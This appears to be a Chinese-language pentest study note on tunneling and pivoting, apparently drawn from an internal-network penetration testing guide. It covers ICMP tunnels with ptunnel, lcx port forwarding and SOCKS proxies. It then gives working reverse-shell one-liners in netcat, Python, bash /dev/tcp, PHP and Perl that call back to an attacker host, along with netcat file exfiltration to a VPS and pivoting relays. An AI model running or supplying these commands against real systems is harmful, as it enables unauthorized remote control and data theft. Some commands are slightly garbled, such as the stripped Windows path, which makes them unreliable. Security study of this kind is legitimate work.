隧道传输技术---部分内容

学习路线

《内网渗透测试指南》第三章

常用的隧道

网络层:IPv6隧道、ICMP隧道、GRE隧道(VPN)
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

网络层隧道

ICMP隧道

推荐工具:PingTunnel(适用于linux)
Web服务器(公网的服务器):ptunnel -x shuteer
如果不使用你的跳板,(公网服务器上运行)ptunnel -p 127.0.0.1 -lp 3333 -da 10.0.0.200 -dp 3389 -x shuteer
使用攻击机连接Web服务器的3333端口即可
如果使用跳板,(你的跳板上运行)ptunnel -p Web服务器ip -lp 3333 -da 10.0.0.200 -dp 3389 -x shuteer
使用攻击机连接你的跳板的3333端口即可

Socks代理

详细见网址:
https://www.cnblogs.com/pshell/p/7649095.html
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks4只支持TCP协议而socks5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。

传输层隧道

lcx端口转发工具(lcx是一个基于socket套接字实现的端口转发工具)

内网端口转发

运行如下命令
lcx.exe -slave 公网主机ip 4444 目标主机ip 3389
然后运行如下命令:
lcx.exe -listen 4444 5555

本地端口转发

lcx.exe -tran 9999 目标主机端口(本地端口) 3389

netcat工具的使用(可以使用TCP/UDP协议)

命令参数解释

nc -h
-d 后台模式
-e 程序重定向
-g 网关
-G 指向器数目
-i 延迟秒数
-l 使用监听模式,管理和控制传入的数据
-n 直接使用ip地址(不通过域名服务器)
-o 输出文件
-p 设置本地通信端口
-r 随机设置本地与远程主机的通信端口
-s 源地址
-u 使用UDP传输协议
-v 详细输出
-w 超时秒数
-z 将输入/输出功能关闭,只在扫描通信端口时使用

Banner抓取

nc -nv 目标ip 目标端口

端口监听

nc -l -p 9999

文件传输

在vps上监听端口
nc -lp 333 > 1.txt
在靶机上传输文件
nc -vn vps的ip 333 < test.txt q 1

简易聊天

在本地vps
nc -l -p 888
在另外主机上输入
nc -vn vps的ip 888

nc获取反向shell

在kali设置监听:nc -lvp 4444
在靶机上建立连接:nc kali的ip 9999 -e /bin/sh
最好windows对应windows,linux对应linux
nc windows的ip 9999 -e c:windowssystem32cmd.exe

在目标主机没有nc时获取反向shell

(1)pythonu获取反向shell
在目标主机上执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(2)bash反向shell

bash -i >& /dev/tcp/攻击ip/攻击端口 0>&1

(3)php反向shell

php -r '$sock=fsockopen("攻击机ip",攻击机端口);exec("/bin/sh -i <&3 >&3 2>&3");'

(4)Perl反向shell

perl -e 'use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

内网穿透

在vps输入:nc -lvp 3333
在内网linux机器上:nc -lvp 3333 -e /bin/sh(反向shell)
在Web服务器上输入:nc -v vps的ip 3333 -c "nc -v linux的ip 3333"

原文地址:https://www.cnblogs.com/lyxsalyd/p/12879601.html